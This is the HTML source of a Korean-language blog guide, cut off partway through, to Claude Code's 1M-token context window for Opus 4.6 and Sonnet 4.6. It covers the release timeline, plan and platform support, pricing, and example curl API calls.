&lt;li&gt;모델 선택 방법&lt;/li&gt;
&lt;li&gt;Opus 4.6 vs Sonnet 4.6 &amp;mdash; 어떤 모델을 써야 할까?&lt;/li&gt;
&lt;li&gt;Compaction 동작 변화&lt;/li&gt;
&lt;li&gt;대규모 코드베이스 작업&lt;/li&gt;
&lt;li&gt;Agent Teams와의 시너지&lt;/li&gt;
&lt;li&gt;Prompt Caching으로 비용&amp;middot;속도 최적화&lt;/li&gt;
&lt;li&gt;실전 활용 시나리오&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;환경변수 설정 완전 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CLAUDE_CODE_DISABLE_1M_CONTEXT&lt;/li&gt;
&lt;li&gt;Compaction 관련 환경변수&lt;/li&gt;
&lt;li&gt;settings.json 설정 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;성능 최적화 팁
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최적 컨텍스트 크기 (700~800K 권장)&lt;/li&gt;
&lt;li&gt;Compaction 임계값 튜닝&lt;/li&gt;
&lt;li&gt;메모리 관리 전략&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;주의사항 및 제한&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Code 1M Context 완전 가이드&lt;/b&gt;&lt;br /&gt;2026년 3월 13일, Anthropic은 Claude Opus 4.6과 Sonnet 4.6의 1M 토큰 컨텍스트 윈도우를 정식 지원(GA)으로 전환했다. &lt;br /&gt;추가 요금 없이, Rate Limit 불이익 없이, 기존 코드 변경 없이 &amp;mdash; Max, Team, Enterprise 사용자라면 오늘부터 바로 1M 컨텍스트를 활용할 수 있다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: 컨텍스트 윈도우란 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 컨텍스트 윈도우란? &amp;mdash; 기초부터 이해하기&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;컨텍스트 윈도우 개념&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;컨텍스트 윈도우(Context Window)는 AI 모델이 한 번의 요청에서 처리할 수 있는 텍스트의 최대 크기다. 단위는 &lt;b&gt;토큰(Token)&lt;/b&gt;이며, 대략적으로 영어 기준 1토큰 &amp;asymp; 0.75단어, 한국어 기준으로는 1토큰 &amp;asymp; 0.3~0.5글자 정도로 이해하면 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;토큰 크기 체감 예시&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;1K 토큰&lt;/b&gt; &amp;asymp; 영어 소설 1~2쪽 분량&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;10K 토큰&lt;/b&gt; &amp;asymp; 단편 소설 한 편, 소형 소스 파일 10~15개&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;200K 토큰&lt;/b&gt; &amp;asymp; 중편 소설 한 권, 소스 파일 200~300개&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;1M 토큰&lt;/b&gt; &amp;asymp; 두꺼운 소설 5~7권, 대규모 모노레포 전체&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서는 이 컨텍스트 윈도우에 다음이 모두 포함된다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;대화 히스토리:&lt;/b&gt; 현재 세션의 모든 질문과 답변&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;읽어들인 파일:&lt;/b&gt; 분석하도록 요청한 소스 파일들&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;도구 실행 결과:&lt;/b&gt; 실행한 명령어 출력, 검색 결과 등&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;시스템 프롬프트:&lt;/b&gt; CLAUDE.md, 설정 파일 내용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 1M이 필요한가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제 개발 현장에서는 200K 제한이 자주 걸렸다. 특히 다음 상황에서 컨텍스트 한계에 부딪혔다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;대규모 리팩터링:&lt;/b&gt; 수십 개 파일을 동시에 분석하며 일관성 있는 변경 필요&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;장기 디버깅 세션:&lt;/b&gt; 에러 로그, 스택 트레이스, 연관 코드가 쌓이면 빠르게 한계 도달&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;레거시 코드베이스 이해:&lt;/b&gt; 수십만 줄짜리 오래된 코드를 AI에게 파악시키는 작업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;복잡한 아키텍처 분석:&lt;/b&gt; 여러 서비스의 상호작용을 전체적으로 파악하는 작업&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Compaction이란?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;컨텍스트가 한계에 가까워지면 Claude Code는 자동으로 &lt;b&gt;Compaction(압축)&lt;/b&gt;을 수행한다. 이전 대화 내용을 요약하여 토큰을 절약하는 방식인데, 이 과정에서 미묘한 컨텍스트 손실이 발생할 수 있다. 1M 윈도우가 생기면 Compaction이 훨씬 늦게 발생하여, 더 긴 세션을 완전한 컨텍스트 품질로 유지할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: 무엇이 달라졌나 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Opus 4.6 1M Context &amp;mdash; 무엇이 달라졌나&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;출시 타임라인&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;날짜&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주요 변화&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2025년 8월&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;(정확한 날짜는 공식 문서 미기재)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Sonnet 4에서 1M 컨텍스트 최초 지원 (beta). 200K 초과 시 프리미엄 요금 부과. beta header 필수.&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #856404;&quot;&gt;베타 (프리미엄 요금)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2026년 2월 5일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude Opus 4.6 정식 출시. 1M 컨텍스트 베타 지원 시작 (beta header 필요).&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #856404;&quot;&gt;베타&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2026년 2월 17일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude Sonnet 4.6 정식 출시. 1M 컨텍스트 베타 지원 (beta header 필요). Claude Code v2.1.75에서 Max/Team/Enterprise에 Opus 4.6 1M 기본 활성화.&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #856404;&quot;&gt;베타 확장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2026년 3월 13일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Opus 4.6 / Sonnet 4.6 1M 컨텍스트 &lt;b&gt;정식 지원(GA)&lt;/b&gt;. 표준 요금 적용. beta header 불필요. Rate Limit 통합.&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;&lt;b&gt;GA (정식 지원)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;이전 상황 &amp;mdash; 200K 제한과 beta header&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 이전, 1M 컨텍스트를 사용하려면 다음이 필요했다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 이전 방식: beta header 필수, 프리미엄 요금 부과
curl https://api.anthropic.com/v1/messages \
  -H &quot;anthropic-beta: context-1m-2025-08-07&quot; \
  -H &quot;x-api-key: $ANTHROPIC_API_KEY&quot; \
  --data '{
    &quot;model&quot;: &quot;claude-opus-4-6&quot;,
    &quot;max_tokens&quot;: 8096,
    &quot;messages&quot;: [...]
  }'

# 200K 토큰 초과 시 프리미엄 요금 적용:
# - Sonnet 4 기준: 입력 $6/MTok, 출력 $22.50/MTok (기존 대비 약 2배)
# - 구 beta 방식은 Sonnet 4, Sonnet 4.5에 여전히 적용됨&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2026년 3월 13일의 변화&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 2026년 3월 13일 릴리스 노트를 통해 세 가지 핵심 변화를 발표했다:&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;2026년 3월 13일 핵심 변화 3가지&lt;/b&gt;
&lt;ol style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;beta header 불필요:&lt;/b&gt; 200K 초과 요청이 자동으로 동작. 기존 코드 변경 불필요&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;표준 요금 적용:&lt;/b&gt; 900K 토큰 요청도 9K 요청과 동일한 토큰당 단가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Rate Limit 통합:&lt;/b&gt; 전용 1M Rate Limit 제거. 표준 계정 처리량이 모든 컨텍스트 길이에 동일하게 적용&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지원 플랜 및 모델&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;1M 컨텍스트 지원 현황 (2026년 3월 기준):&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Max/Team/Enterprise&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Pro&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;API&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Opus 4.6&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;기본 포함&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #856404;&quot;&gt;추가 사용량 필요&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;표준 요금으로 전체 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Sonnet 4.6&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #856404;&quot;&gt;추가 사용량 필요&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #856404;&quot;&gt;추가 사용량 필요&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;표준 요금으로 전체 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Sonnet 4, Sonnet 4.5&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #721c24;&quot;&gt;구 beta 방식 (header + 프리미엄 요금)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #721c24;&quot;&gt;구 beta 방식&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #721c24;&quot;&gt;구 beta 방식&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 구 모델 사용자&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Sonnet 4, Sonnet 4.5는 여전히 구 beta 방식을 사용한다. &lt;code&gt;context-1m-2025-08-07&lt;/code&gt; beta header가 필요하고 200K 초과 시 프리미엄 요금이 부과된다. &lt;b&gt;표준 요금 정책은 Opus 4.6과 Sonnet 4.6에만 적용된다.&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;클라우드 플랫폼별 지원 현황&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;1M context는 Anthropic 직접 API 외에 주요 클라우드 플랫폼에서도 지원된다. 단, 플랫폼별로 처리량(throughput) 제약이 다르다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;모델 ID&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;1M 처리량&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Anthropic API&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude-opus-4-6&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;표준 계정 처리량 (Rate Limit 통합)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;beta header 불필요. GA 표준 요금&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AWS Bedrock&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;us.anthropic.claude-opus-4-6-v1&lt;/code&gt;&lt;br /&gt;&lt;code&gt;eu.anthropic.claude-opus-4-6-v1&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #856404;&quot;&gt;&lt;b&gt;~5 req/min 수준&lt;/b&gt; (1M context preview 클래스, 추정)&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;표준 클래스: ~500 req/min. 계정&amp;middot;리전별 상이&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;1M은 Preview 티어.&lt;br /&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://docs.aws.amazon.com/bedrock/latest/userguide/quotas.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AWS Bedrock Quotas&lt;/a&gt;에서 계정별 실제 한도 확인 필요하다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Google Vertex AI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude-opus-4-6&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;200 QPM, 2M input TPM (리전당)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;us-east5, europe-west1, asia-southeast1 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Bedrock 사용자 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;AWS Bedrock에서 Opus 4.6의 1M context는 현재 &quot;preview&quot; 클래스로 제공되며, 처리량이 표준 클래스 대비 크게 낮은 것으로 알려져 있다(계정&amp;middot;리전별 상이, 위 표 참고). 프로덕션에서 대규모 1M context 요청이 필요하다면 Google Vertex AI를 우선 검토하거나 Anthropic 직접 API 사용을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 핵심 변경사항 상세 분석 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 핵심 변경사항 상세 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자동 활성화 &amp;mdash; beta header 불필요&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 실용적인 변화는 &lt;b&gt;기존 코드를 전혀 수정하지 않아도&lt;/b&gt; 1M 컨텍스트가 동작한다는 점이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 2026년 3월 13일 이후: 동일한 코드로 1M 컨텍스트 자동 동작
curl https://api.anthropic.com/v1/messages \
  -H &quot;x-api-key: $ANTHROPIC_API_KEY&quot; \
  -H &quot;anthropic-version: 2023-06-01&quot; \
  --data '{
    &quot;model&quot;: &quot;claude-opus-4-6&quot;,
    &quot;max_tokens&quot;: 8096,
    &quot;messages&quot;: [
      {
        &quot;role&quot;: &quot;user&quot;,
        &quot;content&quot;: &quot;... 90만 토큰짜리 대용량 콘텐츠 ...&quot;
      }
    ]
  }'
# beta header 없이 자동으로 1M 컨텍스트 처리
# AWS Bedrock: anthropic.claude-opus-4-6-v1
# Vertex AI: claude-opus-4-6&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Claude Code 사용자는 이미 자동 적용&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code를 사용 중이라면 별도 설정 없이 이미 1M 컨텍스트가 활성화되어 있다. Claude Code v2.1.75부터 Max, Team, Enterprise 사용자에게는 Opus 4.6의 1M 컨텍스트가 기본 적용된다. 직접 확인하려면 세션 중 상태 표시줄에서 사용 중인 토큰 수를 확인하면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;요금 정책 &amp;mdash; 900K도 9K와 같은 단가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 큰 실용적 변화 중 하나가 요금이다. Anthropic의 공식 문서에 따르면:&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;공식 요금 정책 (2026년 3월 13일 기준)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;900K 토큰 요청과 9K 토큰 요청은 &lt;b&gt;동일한 토큰당 단가&lt;/b&gt;로 청구된다. 더 이상 대용량 컨텍스트에 대한 프리미엄 배율이 없다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Opus 4.6 API:&lt;/b&gt; 입력 $5/MTok, 출력 $25/MTok (전체 컨텍스트 범위 동일)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Sonnet 4.6 API:&lt;/b&gt; 입력 $3/MTok, 출력 $15/MTok (전체 컨텍스트 범위 동일)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;출처: Anthropic 공식 가격 문서 (platform.claude.com/docs/en/about-claude/pricing). 요금은 변경될 수 있으므로 최신 공식 문서를 확인하세요.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Claude Code 구독자에게는?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Max, Team, Enterprise 플랜의 Claude Code 구독자에게는 &lt;b&gt;추가 토큰 비용이 발생하지 않는다.&lt;/b&gt; 구독 플랜의 사용량 한도 내에서 1M 컨텍스트를 자유롭게 사용할 수 있다. Pro 플랜은 1M 컨텍스트 사용 시 추가 사용량이 필요할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Rate Limit 정책 변화&lt;/h3&gt;
